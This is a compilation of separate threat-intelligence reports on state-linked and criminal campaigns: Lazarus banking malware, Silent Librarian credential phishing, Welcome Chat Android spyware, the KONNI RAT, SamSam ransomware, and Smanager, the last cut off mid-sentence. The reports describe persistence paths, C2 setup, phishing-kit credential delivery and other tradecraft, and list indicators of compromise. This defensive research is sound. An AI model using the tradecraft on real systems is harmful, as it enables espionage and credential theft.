Trojan.Banswift (used in the Bangladesh attack to manipulate SWIFT transactions) and early variants of Backdoor.Contopee provided a connection. While analyzing samples of Trojan.Banswift, a distinct file wiping code was found. Some of the distinctive properties of the wiping code include: - Function takes two parameters: path of file to overwrite and number of iterations (max six) - It will initially overwrite the last byte of the target file with 0x5F - Six “control” bytes are supplied which dictate what bytes are used during the overwrite process Already this code looked fairly unique. What was even more interesting was that when we searched for additional malware containing the exact combination of “control” bytes, an early variant of Backdoor.Contopee and the “msoutc.exe” sample already discussed in the recent BAE blog analyzing the Bangladesh attack were also found. Symantec believes distinctive code shared between families and the fact that Backdoor.Contopee was being used in limited targeted attacks against financial institutions in the region means these tools can be attributed to the same group. ## Historical Attacks Backdoor.Contopee has been previously used by attackers associated with a broad threat group known as Lazarus. Lazarus has been linked to a string of aggressive attacks since 2009, largely focused on targets in the US and South Korea. The group was linked to Backdoor.Destover, a highly destructive Trojan that was the subject of an FBI warning after it was used in an attack against Sony Pictures Entertainment. The FBI concluded that the North Korean government was responsible for this attack. The group was the target of a cross-industry initiative known as Operation Blockbuster earlier this year, which involved major security vendors sharing intelligence and resources in order to assist commercial and government organizations in protecting themselves against Lazarus. As part of the initiative, vendors are circulating malware signatures and other useful intelligence related to these attackers. ## Ongoing Danger The discovery of more attacks provides further evidence that the group involved is conducting a wide campaign against financial targets in the region. While awareness of the threat posed by the group has now been raised, its initial success may prompt other attack groups to launch similar attacks. Banks and other financial institutions should remain vigilant. ## Protection Symantec and Norton products protect against these threats with the following detections: Antivirus.
# Silent Librarian: More to the Story of the Iranian Mabna Institute Indictment March 26, 2018 By Jessica Ellis Last Friday, Deputy Attorney General Rod Rosenstein announced the indictment of nine Iranians who worked for an organization named the Mabna Institute. According to prosecutors, the defendants stole more than 31 terabytes of data from universities, companies, and government agencies around the world. The cost to the universities alone reportedly amounted to approximately $3.4 billion. The information stolen from these universities was used by the Islamic Revolutionary Guard Corps (IRGC) or sold for profit inside Iran. Today, @TheJusticeDept, #FBI, @USTreasury, @NewYorkFBI, & @SDNYnews announced charges against nine Iranians for conducting a massive #cyber theft campaign on behalf of the Islamic Revolutionary Guard Corps. — FBI (@FBI) March 23, 2018 PhishLabs has been tracking this same threat group since late 2017, designating them Silent Librarian. Since discovery, we have been working with the FBI, ISAC partners, and other international law enforcement agencies to help understand and mitigate these attacks. The details of the phishing attacks identified by PhishLabs give a broader sense of the overall threat posed by this group when read alongside the crimes outlined in the indictment. While the indictment details the finely-crafted spear phishing campaigns targeting university professors, the attacks tracked by PhishLabs also involved the general targeting of university students and faculty to collect credentials for the victims’ university library accounts. In light of the news from Friday, we are sharing insights and research that provide additional context to the Mabna Institute indictment. ## History and Targets PhishLabs began compiling attacks, lures, and other information tied to Silent Librarian in December 2017. Starting with just two domains that hosted nearly two dozen university phishing sites, we used PassiveDNS analysis, Whois data, SSL certificate monitoring, and open source research to identify more phishing sites linked to the same group. To date, we have identified more than 750 phishing attacks attributed to Silent Librarian dating back to September 2013. These attacks have targeted more than 300 universities in 22 countries. While most of the targeted universities are located in the United States, Canada, United Kingdom, and Australia, there have also been schools targeted in other countries in Western Europe and Asia. ### Countries targeted by Silent Librarian phishing attacks Looking at the list of university targets, it is clear that they are not randomly selected. All of the universities targeted in the Silent Librarian campaigns are generally prominent research, technical, or medical universities. Some schools in particular have been targeted numerous times over the past four-and-a-half years. For example, Monash University, located in Australia, has been a popular Silent Librarian target. The university has been targeted more than two dozen times by the group since the beginning of 2017. In addition to universities, Silent Librarian has also targeted non-academic institutions, such as Los Alamos National Laboratory, Electric Power Research Institute, Memorial Sloan Kettering Cancer Center, Ohio State Wexner Medical Center, and Thomson Reuters. ## Silent Librarian Lures One of the notable aspects of Silent Librarian phishing campaigns is that their tactics have barely changed over time. Outside the correction of a few minor spelling errors, the content of the phishing lures has remained incredibly consistent. The likely reason for this consistency is that the success rate of campaigns using these lures was high enough that there was no need for them to evolve. From a research perspective, though, the static nature of the group’s lure made it easier for us to identify past campaigns and track new campaigns as they occurred. Overall, the lures constructed by Silent Librarian are remarkably authentic-looking. Spelling and grammar, two of the primary indicators of a malicious email, are nearly perfect. The messages in the lures are contextually legitimate, meaning it is an email a recipient could be reasonably expected to receive. Most of the Silent Librarian lure emails contain spoofed sender email addresses, which make them appear as if they’re coming from a legitimate source. Some of the phishing emails, though, have been sent from temporary Gmail addresses. A small number of lures have even been sent from what appear to be email accounts at various Turkish universities. Each of the Silent Librarian lures ends with a very realistic-looking closing signature containing contact information for the target library. This information is collected through open source research conducted by the threat actors. In some cases, all of the contact information can be found together on one webpage; however, some of the information is in different locations, indicating the actors are likely performing manual reconnaissance to gather the information. At least a third of the Silent Librarian lures identified use fictitious personas to add a sense of authenticity to the emails. The names of these personas have evolved over time; however, the group has used the personas “Sarah Miller” and “Susan Jackson” frequently in recent campaigns. The group also changes the names of the personas to match the location of the target university. For example, a recent campaign targeting an Australian university used the persona “Jonathon Dixon,” while the persona identity “Shinsuke Hamada” was previously used in an email lure targeting a Japanese school. Like the overall content of their lures, the subject lines of Silent Librarian phishing emails have remained consistent over time. Since the beginning of 2017, 97 percent of lures contained the subject “Library Account,” “Library Notifications,” or “Library Services.” Sometimes the name of the target university has been appended to the subject to add more perceived authenticity to the attack vector. ## Phishing Pages We have identified 127 different domains used to host Silent Librarian phishing sites since 2013. Like a growing number of phishing sites, domains registered by Silent Librarian generally use Freenom top-level domains (TLDs) (.TK, .CF, .GA, .GQ, .ML) because they are available at no cost. The group has used domains on other TLDs, though rather sparingly. Some of the other recent TLDs associated with Silent Librarian domains include .IN, .IR, .INFO, .LINK, and .TOP. Like their lures, the phishing sites crafted by Silent Librarian are very realistic. The URLs associated with the phishing pages closely mirror the full legitimate URL path of the account login page for the target university library. The content of Silent Librarian phishing pages is almost identical to the legitimate target sites. The actors likely scrape the original HTML source code from the legitimate library login page, then edit the references to resources used to render the webpage (images, JavaScript, CSS, etc.) to point back to the original page, a common tactic among phishers. At the beginning of 2017, Silent Librarian began to regularly obtain free Let’s Encrypt SSL certificates for their phishing pages. This technique is used to create more realistic-looking phishing pages. For a few of the Silent Librarian attacks, we identified and collected the phish kits that were used to construct the phishing sites and left on the malicious server. Phish kits contain all of the files necessary to stand up a phishing site quickly, such as HTML files, PHP mailing scripts, and other resources (image files, JavaScript, CSS, etc.). Because these kits are essentially the “recipe” of how a phishing site is created, they can provide valuable intelligence into the back-end functionality of the site. One of the best pieces of evidence that can be collected from a phish kit is the PHP mailing script, which contains the location where compromised information is sent, usually an email address. An analysis of the Silent Librarian kits identified two email accounts that were used to receive compromised victim credentials. One was a Gmail email address and the other was an email address with Vatanmail, an Iranian email service provider. ## What Happens to the Stolen Credentials? As outlined in Friday’s indictment, in addition to being passed to the IRGC, some of the stolen credentials were also sold on two Iranian websites, Megapaper[.]ir and Gigapaper[.]ir. Similarly, the credentials stolen in the Silent Librarian phishing attacks we identified were sold on an Iranian website; however, it is not one of the sites specified in the indictment. Using a combination of technical and open source research, we identified another website, Uniaccount[.]ir, that was used to sell the credentials compromised in the Silent Librarian phishing attacks. The Uniaccount website is likely run by Mostafa Sadeghi, who was named in the recent indictment as a “prolific Iran-based computer hacker who was an affiliate of the Mabna Institute.” On the Uniaccount website, credentials are offered for dozens of universities around the world. Visitors are asked to send an email to a specified Gmail address to request the price of a password for a specific university. Notably, the website also mentions that all accounts that are purchased have a one-month warranty, so if the account is cut off during that period, the purchaser will be given a new account to use. In addition to buying an account for a specific university, a visitor on Uniaccount can also simply purchase research journal articles individually. The cost of a single article on Uniaccount is 2,000 Tomans, or approximately 60 U.S. cents. PhishLabs continues to collaborate with universities, law enforcement, and ISAC partners as we discover more information about this group.
# Welcome Chat: A Malicious Messaging App ESET research uncovers a malicious operation that both spies on victims and leaks their data. We discovered a new operation within a long-running cyber-espionage campaign in the Middle East. Targeting Android users via the malicious Welcome Chat app, the operation appears to have links to the malware named BadPatch, which MITRE links to the Gaza Hackers threat actor group known also as Molerats. Our analysis shows that the Welcome Chat app allows spying upon its victims. However, it is not simple spyware. Welcome Chat is a functioning chat app that delivers the promised functionality along with its hidden espionage capacity. We found this spyware being advertised to chat-hungry users (these apps are banned in some countries in the Middle East region) on a dedicated website. The fact that the website is in Arabic conforms with the targeting of the whole campaign we believe this operation belongs to. The domain was registered in October 2019; we couldn’t, however, determine when the website was launched. The malicious website promotes the Welcome Chat app, claiming it’s a secure chat platform that is available on the Google Play store. Both claims are false. In regard to the “secure” claim, nothing is further from the truth. Not only is Welcome Chat an espionage tool; on top of that, its operators left the data harvested from their victims freely available on the internet. And the app was never available on the official Android app store. ## Functionality/Analysis Once the user downloads the app, it needs the setting “Allow installing apps from unknown sources” to be activated since the app was not downloaded from the Play Store. After installation, the malicious app will request the victim to allow permissions such as send and view SMS messages, access files, record audio, and access contacts and device location. Such an extensive list of intrusive permissions might normally make the victims suspicious – but with a messaging app, it’s natural they are needed for the app to deliver the promised functionality. In order to be able to communicate with other users of this app, the user needs to register and create a personal account. Immediately after receiving these permissions, Welcome Chat sends information about the device to its Command and Control (C&C) server and is ready to receive commands. It is designed to contact the C&C server every five minutes. On top of its core espionage functionality – monitoring the chat communications of its users – the Welcome Chat app can perform the following malicious actions: exfiltrating sent and received SMS messages, call log history, contact list, user photos, recorded phone calls, the GPS location of the device, and device info. ## Trojanized or Attacker-Developed Chat App? An interesting question arises with functional trojan apps: is the app an attacker-trojanized version of a clean app, or did the attackers develop a malicious app from scratch? In both cases, it is easy for the attackers to spy on exchanged in-app messages as they would – naturally – have the authorization keys to the user database. Despite the first option being typical for trojanized apps, we believe that in this particular case, the second explanation is more probable. Typically, trojanized apps are created via a process of appending the malicious functionality to a legitimate app. The bad guys find and download a suitable app. After decompiling it, they add the malicious functionality and recompile the now-malicious-yet-still-functioning app to spread it among their desired audience. There is a major question mark with this option: to this day, we have not been able to discover any clean version of the Welcome Chat app. Not only can it not be found on any of the Android markets we have on our radar; based on the binary matching algorithms in our sample classification systems, we haven’t found any clean app with this same chat functionality. Of interest in this regard is that a clean version of Welcome Chat, without the espionage functionality, was uploaded to VirusTotal in mid-February 2020. The malicious version was first submitted to VirusTotal a week earlier. This leads us to believe that the attackers developed the malicious chat app on their own. Creating a chat app for Android is not difficult; there are many detailed tutorials on the internet. With this approach, the attackers have better control over the compatibility of the app’s malicious functionality with its legitimate functions, so they can ensure that the chat app will work. ## Code Analysis The Welcome Chat espionage app seems to have targeted Arabic-speaking users: both the default website language and default in-app language are Arabic. However, based on debug logs left in the code, strings, class and unique variable names, we were able to determine that most of the malicious code was copied from publicly available open source code projects and code example snippets available on public forums. In some cases, the copied open source code is quite old. As a possible explanation, all the listed examples come at the very top among the results of simple googling for the respective functionalities. ### User Data Leak The Welcome Chat app, including its infrastructure, was not built with security in mind. The app uploads all of the user’s stolen data to the attacker-controlled server via unsecured HTTP. Transmitted data is not encrypted and because of that, not only it is available to the attacker, it is freely accessible to anyone on the same network. The database contains data such as name, email, phone number, device token, profile picture, messages and friends list – in fact, all the users’ data except for the account passwords can be found uploaded to the unsecured server. Once we discovered the sensitive information as being publicly accessible, we intensified our efforts to discover the developer of the legitimate chat app (i.e., the app the espionage tool was – eventually – a trojanized version of) to disclose the vulnerability to them. We found neither the developer nor the app, convincing us that the app was built from the beginning as malicious. Naturally, we made no effort to reach out to the malicious actors behind the app. ## Possible BadPatch Connection The Welcome Chat espionage app belongs to the very same Android malware family that we identified at the beginning of 2018. That malware used the same C&C server, pal4u.net, as the espionage campaign targeting the Middle East that was identified in late 2017 by Palo Alto Networks and named BadPatch. In late 2019, Fortinet described yet another espionage operation focused on Palestinian targets with the domain pal4u.net among its indicators of compromise. For these reasons we believe that this campaign with new Android trojans comes from the threat actors behind the long-term BadPatch campaign. ## Recommendation While the Welcome Chat-based espionage operation seems to be narrowly targeted, we strongly recommend that users don’t install any apps from outside the official Google Play store – unless it’s a trusted source such as a website of an established security vendor or some reputable financial institution. On top of that, users should pay attention to what permissions their apps require and be suspicious of any apps that require permissions beyond their functionality – and, as a very basic security measure, run a reputable security app on their mobile devices. ## Indicators of Compromise (IoCs) - **Hash**: C60D7134B05B34AF08023155EAB3B38CEDE4BCCD - **ESET detection name**: Android/Spy.Agent.ALY - **Hash**: C755D37D6692C650692F4C637AE83EF6BB9577FC - **ESET detection name**: Android/Spy.Agent.ALY - **Hash**: 89AB73D4AAF41CBCDBD0C8C7D6D85D21D93ED199 - **ESET detection name**: Android/Spy.Agent.ALY - **Hash**: 2905F2F60D57FBF13D25828EF635CA1CCE81E757 - **ESET detection name**: Android/Spy.Agent.ALY - **C&C**: emobileservices.club ## MITRE ATT&CK Techniques - **Tactic**: Initial Access - **ID**: T1444 - **Name**: Masquerade as Legitimate Application - **Description**: Welcome Chat impersonates a legitimate chat application. - **Tactic**: Persistence - **ID**: T1402 - **Name**: App Auto-Start at Device Boot - **Description**: Welcome Chat listens for the BOOT_COMPLETED broadcast, ensuring that the app's functionality will be activated every time the device starts. - **Tactic**: Discovery - **ID**: T1426 - **Name**: System Information Discovery - **Description**: Welcome Chat collects information about the device. - **Tactic**: Collection - **ID**: T1412 - **Name**: Capture SMS Messages - **Description**: Welcome Chat exfiltrates sent and received SMS messages. - **Tactic**: Location Tracking - **ID**: T1430 - **Name**: Location Tracking - **Description**: Welcome Chat spies on the device's location. - **Tactic**: Access Call Log - **ID**: T1433 - **Name**: Access Call Log - **Description**: Welcome Chat exfiltrates call log history. - **Tactic**: Access Contact List - **ID**: T1432 - **Name**: Access Contact List - **Description**: Welcome Chat exfiltrates the user contact list. - **Tactic**: Capture Audio - **ID**: T1429 - **Name**: Capture Audio - **Description**: Welcome Chat records surrounding audio. - **Tactic**: Data from Local System - **ID**: T1533 - **Name**: Data from Local System - **Description**: Welcome Chat steals user photos stored on device. - **Tactic**: Command and Control - **ID**: T1437 - **Name**: Standard Application Layer Protocol - **Description**: Welcome Chat uploads exfiltrated data using the HTTP protocol.
# KONNI: A Malware Under The Radar For Years **This blog was authored by Paul Rascagneres** ## Executive Summary Talos has discovered an unknown Remote Administration Tool that we believe has been in use for over 3 years. During this time, it has managed to avoid scrutiny by the security community. The current version of the malware allows the operator to steal files, keystrokes, perform screenshots, and execute arbitrary code on the infected host. Talos has named this malware KONNI. Throughout the multiple campaigns observed over the last 3 years, the actor has used an email attachment as the initial infection vector. They then use additional social engineering to prompt the target to open a .src file, display a decoy document to the users, and finally execute the malware on the victim's machine. The malware infrastructure of the analyzed samples was hosted by a free web hosting provider: 000webhost. The malware has evolved over time. In this article, we will analyze this evolution: - At the beginning, the malware was only an information stealer without remote administration. - It moved from a single file malware to a dual file malware (an executable and a dynamic library). - The malware has supported more and more features over time. - The decoy documents have become more and more advanced. - The different versions contain copy/pasted code from previous versions. - Moreover, the new version searches for files generated by previous versions. (This implies that the malware has been used several times against the same targets.) This evolution is illustrated across 4 campaigns: one in 2014, one in 2016, and finally two in 2017. The decoy document of the last two campaigns suggests that the targets are public organizations. Both documents contained email addresses, phone numbers, and contacts of members of official organizations such as United Nations, UNICEF, and Embassies linked to North Korea. ## 3 Years Of Campaigns ### 2014 CAMPAIGN: FATAL BEAUTY In this campaign, the dropper filename was beauty.src. Based on the compilation date of the two binaries, this campaign took place in September 2014. Once executed, two files were dropped on the targeted system: a decoy document (a picture) and a fake svchost.exe binary. Both files were stored in "C:\Windows". The picture is a Myanmar temple. The fake svchost binary is the KONNI malware. The first task of the malware is to generate an ID to identify the infected system. This ID is generated based on the installation date of the system, as found in the registry (HKLM\Software\Microsoft\Windows NT\CurrentVersion\InstallDate). The second task of the malware is to ping the CC and get orders. The malware includes 2 domains: - phpschboy[.]prohosts[.]org - jams481[.]site[.]bz The developer used the Microsoft Winsocks API to handle the network connection. Surprisingly, this isn't the easiest or the most efficient technical choice for HTTP connection. The malware samples we analyzed connected to only one URI: `<c2-domain>/login.php`. This version of KONNI is not designed to execute code on the infected system. The purpose is to be executed only once and steal data on the infected system. Here are the main features: - Keyloggers - Clipboard stealer - Firefox profiles and cookies stealer - Chrome profiles and cookies stealer - Opera profiles and cookies stealer The malware internally uses several temporary files: - spadmgr.ocx - screentmp.tmp (log file of the keylogger) - solhelp.ocx - sultry.ocx ### 2016 CAMPAIGN: "HOW CAN NORTH KOREAN HYDROGEN BOMB WIPE OUT MANHATTAN.SRC" The name of the .src file was directly linked to tension between North Korea and the USA in March 2016. Based on the compilation dates of the binaries, the campaign took place in the same period. An interesting fact: the dropped library was compiled in 2014 and appears in our telemetry in August 2015, indicating that this library was probably used in another campaign. The .src file contains 2 Office documents. The first document was in English and a second in Russian. In the sample, only the English version can be displayed to the user (that is hardcoded in the sample). The Russian document is not used by the sample; we assume that the author of the malware forgot to remove the resource containing the Russian decoy document. The malware author changed the malware architecture; this version is divided into two binaries: - conhote.dll - winnit.exe Another difference is the directory where the files are dropped; it's no longer C:\Windows but rather the local setting of the current user (%USERPROFILE%\Local Settings\winnit\winnit.exe). Thanks to this modification, the malware can be executed with a non-administrator account. The .dll file is executed by the .exe file. In this version, a shortcut is created in order to launch winnit.exe in the following path %USERPROFILE%\Start Menu\Programs\Startup\Anti virus service.lnk. As you can see, the attacker has gone to great lengths to disguise his service as a legitimate Antivirus Service by using the name 'Anti virus service.lnk'. This is of course simple but often it can be enough for a user to miss something malicious by name. As in the previous version, the ID of the infected system is generated with exactly the same method. The C2 is different, and the analyzed version this time only contains a single domain: - dowhelsitjs[.]netau[.]net In this version, the developer used a different API, the Wininet API, which makes more sense for web requests. Moreover, the C2 infrastructure evolved too; more .php files are available through the web hosting: - `<c2-domain>/login.php` (for infected machine registration) - `<c2-domain>/upload.php` (for uploading files on the C2) - `<c2-domain>/download.php` (for downloading files from the C2) This version includes the stealer features mentioned in the previous version and additionally Remote Administration Tool features such as file uploading/download and arbitrary command execution. The library is only used to perform keylogging and clipboard stealing. Indeed, the malware author moved this part of the code from the core of the malware to a library. An interesting element is that the malware looks for filenames created with the previous version of KONNI. This implies that the malware targeted the same people as the previous version and they are designed to work together. The malware internally uses the following files: - solhelp.ocx - sultry.ocx - helpsol.ocx - psltre.ocx - screentmp.tmp (log file of the keylogger) - spadmgr.ocx - apsmgrd.ocx - wpg.db ### 2017 CAMPAIGNS #### CAMPAIGN A: PYONGYANG DIRECTORY GROUP EMAIL APRIL 2017 In this campaign, the malware author uses the following name: Pyongyang Directory Group email April 2017 RC_Office_Coordination_Associate.src. The decoy document shown after infection is an Office document containing email addresses, phone numbers, and contacts of members of official organizations such as the United Nations, UNICEF, and Embassies linked to North Korea. The .src files drop two files: an executable and a library. As in the previous version, the persistence is achieved by a Windows shortcut (in this case adobe distillist.lnk). Contrary to the previous version, the developers moved the core of the malware to the library. The executable performs the following tasks: - If the system is a 64-bit version of Windows, it downloads and executes a specific 64-bit version of the malware thanks to a PowerShell script. - Loading the dropped library. The library contains the same features as the previous version as well as new ones. This version of KONNI is the most advanced with better coding. The malware configuration contains one Command and Control: pactchfilepacks[.]net23[.]net. A new URI is available: - `<c2-domain>/uploadtm.php` This URI is used with a new feature implemented in this version: the malware is able to perform screenshots (thanks to the GDI API) and uploads it thanks to this URL. The malware checks if a file used on a previous version of KONNI is available on the system. Here is the complete list of files internally used by the RAT: - error.tmp (the log file of the keylogger) - tedsul.ocx - helpsol.ocx - trepsl.ocx - psltred.ocx - solhelp.ocx - sulted.ocx The handling of instructions has improved too. Here are the 7 actions that the infected machine can be instructed to perform: - Delete a specific file. - Upload a specific file based on a filename. - Upload a specific file based on the full path name. - Create a screenshot and upload it on the C2. - Get system information. - Download a file from the Internet. - Execute a command. This graph shows the decision tree: When the attacker wants to gather information on the infected system (action 5), it retrieves the following information: - Hostname - IP address - Computer name - Username - Connected drive - OS version - Architecture - Start menu programs - Installed software #### CAMPAIGN B: INTER AGENCY LIST AND PHONEBOOK - APRIL 2017 The last identified campaign where KONNI was used was named Inter Agency List and Phonebook - April 2017 RC_Office_Coordination_Associate.src. This file drops exactly the same files as the previous campaign but the decoy document is different. This document contains the name, phone number, and email address of members of agencies, embassies, and organizations linked to North Korea. ## Conclusion The analysis shows us the evolution of KONNI over the last 3 years. The last campaign was started a few days ago and is still active. The infrastructure remains up and running at the time of this post. The RAT has remained under the radar for multiple years. An explanation could be the fact that the campaign was of very limited nature, which does not arouse suspicion. This investigation shows that the author has evolved technically (by implementing new features) and in the quality of the decoy documents. The campaign of April 2017 used pertinent documents containing potentially sensitive data. Moreover, the metadata of the Office document contains the names of people who seem to work for a public organization. We don't know if the document is a legitimate compromised document or a fake that the attacker has created in an effort to be credible. Clearly, the author has a real interest in North Korea, with 3 of the 4 campaigns linked to North Korea. ## Coverage Additional ways our customers can detect and block this threat are listed below. - Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors. - CWS or WSA web scanning prevents access to malicious websites and detects malware used in these attacks. - Email Security can block malicious emails sent by threat actors as part of their campaign. - The Network Security protection of IPS and NGFW have up-to-date signatures to detect malicious network activity by threat actors. - AMP Threat Grid helps identify malicious binaries and build protection into all Cisco Security products. - Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network. ## IOCs ### 2014 CAMPAIGN: FATAL BEAUTY **DROP FILES** - SHA256: 413772d81e4532fec5119e9dce5e2bf90b7538be33066cf9a6ff796254a5225f - Filename: beauty.src **DROPPED FILES** 1. SHA256: eb90e40fc4d91dec68e8509056c52e9c8ed4e392c4ac979518f8d87c31e2b435 Filename: C:\Windows\beauty.jpg File type: JPEG image data, JFIF standard 1.02 2. SHA256: 44150350727e2a42f66d50015e98de462d362af8a9ae33d1f5124f1703179ab9 Filename: C:\Windows\svchost.exe File type: PE32 executable (GUI) Intel 80386, for MS Windows **C2** - phpschboy[.]prohosts[.]org - jams481[.]site[.]bz ### 2016 CAMPAIGN: HOW CAN NORTH KOREAN HYDROGEN BOMB WIPE OUT MANHATTAN **DROP FILES** - SHA256: 94113c9968db13e3412c1b9c1c882592481c559c0613dbccfed2fcfc80e77dc5 Filename: How can North Korean hydrogen bomb wipe out Manhattan.src **DROPPED FILES** 1. SHA256: 56f159cde3a55ae6e9270d95791ef2f6859aa119ad516c9471010302e1fb5634 Filename: conhote.dll 2. SHA256: 553a475f72819b295927e469c7bf9aef774783f3ae8c34c794f35702023317cc Filename: winnit.exe 3. SHA256: 92600679bb183c1897e7e1e6446082111491a42aa65a3a48bd0fceae0db7244f Filename: Anti virus service.lnk **C2** - dowhelsitjs[.]netau[.]net ### 2017 CAMPAIGN A: **DROP FILES** - SHA256: 69a9d7aa0cb964c091ca128735b6e60fa7ce028a2ba41d99023dd57c06600fe0 Filename: Pyongyang Directory Group email April 2017 RC_Office_Coordination_Associate.src **DROPPED FILES** 1. SHA256: 3de491de3f39c599954bdbf08bba3bab9e4a1d2c64141b03a866c08ef867c9d1 Filename: adobe distillist.lnk 2. SHA256: 39bc918f0080603ac80fe1ec2edfd3099a88dc04322106735bc08188838b2635 Filename: winload.exe 3. SHA256: dd730cc8fcbb979eb366915397b8535ce3b6cfdb01be2235797d9783661fc84d Filename: winload.dll **C2** - pactchfilepacks[.]net23[.]net - checkmail[.]phpnet[.]us ### 2017 CAMPAIGN B: **DROP FILES** - SHA256: 640477943ad77fb2a74752f4650707ea616c3c022359d7b2e264a63495abe45e Filename: Inter Agency List and Phonebook - April 2017 RC_Office_Coordination_Associate.src **DROPPED FILES** 1. SHA256: 4585584fe7e14838858b24c18a792b105d18f87d2711c060f09e62d89fc3085b Filename: adobe distillist.lnk 2. SHA256: 39bc918f0080603ac80fe1ec2edfd3099a88dc04322106735bc08188838b2635 Filename: winload.exe 3. SHA256: dd730cc8fcbb979eb366915397b8535ce3b6cfdb01be2235797d9783661fc84d Filename: winload.dll **C2** - pactchfilepacks[.]net23[.]net - checkmail[.]phpnet[.]us ## RELATED SAMPLES - 413772d81e4532fec5119e9dce5e2bf90b7538be33066cf9a6ff796254a5225f - 44150350727e2a42f66d50015e98de462d362af8a9ae33d1f5124f1703179ab9 - 553a475f72819b295927e469c7bf9aef774783f3ae8c34c794f35702023317cc - 56f159cde3a55ae6e9270d95791ef2f6859aa119ad516c9471010302e1fb5634 - 94113c9968db13e3412c1b9c1c882592481c559c0613dbccfed2fcfc80e77dc5 - f091d210fd214c6f19f45d880cde77781b03c5dc86aa2d62417939e7dce047ff - 0f327d67b601a87e575e726dc67a10c341720267de58f3bd2df3ce705055e757 - 234f9d50aadb605d920458cc30a16b90c0ae1443bc7ef3bf452566ce111cece8 - 39bc918f0080603ac80fe1ec2edfd3099a88dc04322106735bc08188838b2635 - 581e820637decf37bfd315c6eb71176976a0f2d59708f2836ff969873b86c7db - 640477943ad77fb2a74752f4650707ea616c3c022359d7b2e264a63495abe45e - 69a9d7aa0cb964c091ca128735b6e60fa7ce028a2ba41d99023dd57c06600fe0 - 97b1039612eb684eaec5d21f0ac0a2b06b933cc3c078deabea2706cb69045355 - dae9d8f9f7f745385286775f6e99d3dcc55bbbe47268a3ea20deffe5c8fd0f0e - dd730cc8fcbb979eb366915397b8535ce3b6cfdb01be2235797d9783661fc84d - e6a9d9791f763123f9fe1f69e69069340e02248b9b16a88334b6a5a611944ef9 - ead47df090a4de54220a8be27ec6737304c1c3fe9d0946451b2a60b8f11212d1 **POSTED BY PAUL RASCAGNERES AT 12:59 PM** **LABELS:** APT, KONNI, KOREA, MALWARE, MALWARE ANALYSIS, RAT **SHARE THIS POST**
# SamSam: Converting Opportunity into Profit Counter Threat Unit Research Team Threat actors continue to use opportunistic attacks to compromise networks and deploy SamSam ransomware to collect money from various types of organizations. On February 15, 2018, Secureworks® Counter Threat Unit™ (CTU) researchers published details about the tools and techniques used in a series of high-profile ransomware campaigns conducted by threat actors that CTU™ researchers refer to as GOLD LOWELL. The threat actors extort money from victims by infiltrating networks and using this access to deploy the SamSam ransomware. By analyzing multiple GOLD LOWELL ransomware incidents, CTU researchers and Secureworks incident response (IR) analysts have developed an extensive body of knowledge about the group’s intent, tactics, and behaviors. SamSam incidents in 2016 and 2018 led many people to conclude that GOLD LOWELL targets healthcare organizations. However, Secureworks’ visibility into the group’s activity reveals that it is opportunistic and is not limited to specific industries. Since late-2015, Secureworks IR analysts have observed GOLD LOWELL attacks impacting organizations in a wide range of industries; for example: - IT software providers - Waste management businesses - Academic organizations - Transportation networks - Business services firms - Leisure and entertainment businesses The threat actors typically identify and exploit vulnerable Internet-connected systems and protocols such as Remote Desktop Protocol (RDP) to gain a foothold in a victim’s network. They then use publicly available tools to steal high-value usernames and passwords, leverage custom scripts to survey the network, and deploy SamSam ransomware to as many systems as possible. Supporting the claim that there is “no honor among thieves,” the threat actors sometimes attempt to capitalize on a victim’s willingness to pay the ransom by increasing the decryption cost after a victim submits the initial payment. GOLD LOWELL requests ransom fees in Bitcoin, and the rise in Bitcoin values translates to higher payments to decrypt impacted systems. For example, the cost to decrypt a single system in 2015 was $650 (USD), whereas by late-2017 the value increased to $9,700 per system. A GOLD LOWELL campaign that spanned late-2017 to early-2018 generated at least $350,000 in revenue for the threat actors. These campaigns will likely be a fixture of the threat landscape as long as they continue to be lucrative.
# Panda’s New Arsenal: Part 3 Smanager ## はじめに これまでのブログでTmangerとAlbaniiutasについて紹介しました。TmangerにはAlbaniiutas以外にも、類似したマルウェアが存在します。今回は私達がTmangerの亜種であると考えているSmanagerについて紹介します。 SmanagerはTmangerとは異なり、ベトナムで発見されることが多く、ベトナムに関連する組織に対する攻撃で使用された可能性があります。細かな部分ではTmangerおよびAlbaniiutasに類似した点が多くあります。具体的には、以下のような類似点が挙げられます。 - TmangerのSetup、MlloadDllに相当する検体の存在 - Configデータの上書き処理 - Serviceによる永続化時の値 - Export関数名 Entery - Configデータの構造 - AES鍵データの後半6byte - OutputDebugStringAによる出力 私達はSmanagerを実行する2つのEXEファイル(VVSup.exeとSACEventLog.exe)を発見しました。以降ではそれぞれの詳細な解析結果を示します。 ## VVSup.exe VVSup.exeはTmangerのSetupに相当する検体で、後続の検体を展開し、実行する機能を有しています。以下、挙動を説明します。 VVSup.exeは実行されると自身が持っているCABファイルを%USERPROFILE%\test\7z.cabに書き込みます。その後7z.cabを展開しますが、管理者権限で実行されている場合はC:\windows\apppatch\netapi32.dllとして、そうではない場合は%TEMP%\\WMedia\[GetTickCount()].tmpとして展開されます。このDLLはSmanager_ssl.dllという内部名が付与されており、このことから私達はこれをSmanagerと呼んでいます。 その後、DLLの中から192.168というデータを検索することでConfigデータの場所を特定し、以下のようにダミーデータをConfigデータに上書きします。暗号鍵を生成するための文字列であるf4f5276c00001ff5だけは同じ値で上書きされました。 - 192.168.0.107:8888 -> vgca.homeunix[.]org:443 - (null) -> office365.blogdns[.]com:443 - (null) -> 10[.]0.14.196:53 - f4f5276c00001ff5 -> f4f5276c00001ff5 そして、管理者権限で実行されている場合はHKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Svchostなどを書き込み、DLLをサービスとして登録し、ServiceMainを実行します。管理者権限で実行されていない場合、WinExecでrundll32.exeを実行し、DLLのExport関数であるEnteryから実行します。 ## SACEventLog.exe SACEventLog.exeはVVSup.exeと同じくTmangerのSetupに相当する検体です。VVSup.exeとほぼ全く同じ実装で、Configデータ部分のみを差分とします。SACEventLog.exeが書き込むConfigデータは以下のとおりです。 - 192.168.0.107:8888 -> office365.blogdns[.]com:443 - (null) -> office365.blogdns[.]com:80 - (null) -> 154[.]202.56.188:80 - f4f5276c00001ff5 -> f4f5276c00001ff5 ## Smanager_ssl.dll Smanager_ssl.dllはVVSup.exe及びSACEventLog.exeに展開され実行される検体であり、私達はこれをTmangerのMlloadDllに相当する検体であると考えています。 Smanager_ssl.dllは実行されると、C&Cサーバーとコネクションを確立します。その際、Microsoft Security Service Provider 